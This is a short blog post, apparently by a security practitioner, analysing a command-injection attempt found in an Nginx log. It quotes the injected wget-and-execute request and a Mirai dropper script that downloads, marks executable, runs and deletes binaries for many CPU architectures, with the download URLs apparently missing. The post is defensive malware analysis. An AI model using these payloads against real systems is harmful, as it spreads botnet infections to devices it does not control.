Eric Range
Range Eric
Dec 23, 2019
Technical director of Enginsight

Today I implemented a few techniques to detect common web-based attacks and came across the following Nginx access log entry. I immediately spotted the command injection attempt but didn’t pay any attention due to the 400 “Bad Request” HTTP response status code.

" - - [23/Dec/2019:13:34:08 +0100] 
  "GET /login.cgi?cli=aa aa';
     wget -O -> /tmp/kh; /tmp/kh'$ HTTP/1.1" 400 173 "-" "Hakai/2.0""

Somehow I was a little disappointed because the attack was easy to detect and even the user agent told me “hey! whatup?”. So I thought this could be fun to analyse.

First we need to understand what the command injection is doing. The query parameter “cli” seems to be a part of a direct script execution call. So let’s assume the back-end looks like this:

execute(' + $_GET["cli"] + ')

# Lets replace the placeholder with the real value...
execute('aa aa';wget -O -> /tmp/kh; /tmp/kh'')

# 1. wget -O -> /tmp/kh
# 2. /tmp/kh

What is

After we downloaded the file we check the content. A bash script.

cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_M.ips; ./Ouija_M.ips; rm -rf Ouija_M.ips
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_M.psl; ./Ouija_M.psl; rm -rf Ouija_M.psl
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_S.h4; ./Ouija_S.h4; rm -rf Ouija_S.h4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_x.86; ./Ouija_x.86; rm -rf Ouija_x.86
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_A.rm6; ./Ouija_A.rm6; rm -rf Ouija_A.rm6
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_x.32; ./Ouija_x.32; rm -rf Ouija_x.32
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_P.pc; ./Ouija_P.pc; rm -rf Ouija_P.pc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_I.586; ./Ouija_I.586; rm -rf Ouija_I.586
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_M.68k; ./Ouija_M.68k; rm -rf Ouija_M.68k
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_P.pc; ./Ouija_P.pc; rm -rf Ouija_P.pc
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_A.rm4; ./Ouija_A.rm4; rm -rf Ouija_A.rm4
cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget; chmod +x Ouija_A.rm5; ./Ouija_A.rm5; rm -rf Ouija_A.rm5

What we see here are attempts to leave the current directory (I guess to prevent write restrictions within that folder) and try to execute a platform compatible version of the “Ouija” binary.

What is this binary doing?

One easy way to get to know what the binary actually does is to search for the SHA256 hash on the internet. A lot of machine learning malware detection platforms publish their analysis results with the corresponding SHA256 hash.

/tmp$ sha256sum Ouija_x.86 
9c2eef7eee6e0a046018173a6f00b5bb0f441b72eb6cfbfe77dc5ed194b214ac  Ouija_x.86

And voilĂ … lets take the first result of the search:

AVG, F-Secure and McAfee categorize this file to be a part of the Mirai botnet.

What now?

The main reason why I wrote this blog article was actually my confusion about the practicability of this attack. Actually, you can’t execute a script if you loaded it via wget or curl. In order to do that you need to grant execution privileges before. We see that grant within the (“chmod +x Ouija_A…”). But not in the original command injection request.

My guess is that the manufacturer of the actual addressee of the vulnerability call the “cli” parameter as a parameter of the bash command.

execute(bash + 'aa aa';wget -O -> /tmp/kh; /tmp/kh'')

In this case you don’t need the execution privileges.

I’m not sure what to say about this. If you do this because of ignorance it would be bad but not directly an instant disaster. To put the bash command in front of an unvalidated GET parameter is negligent assault.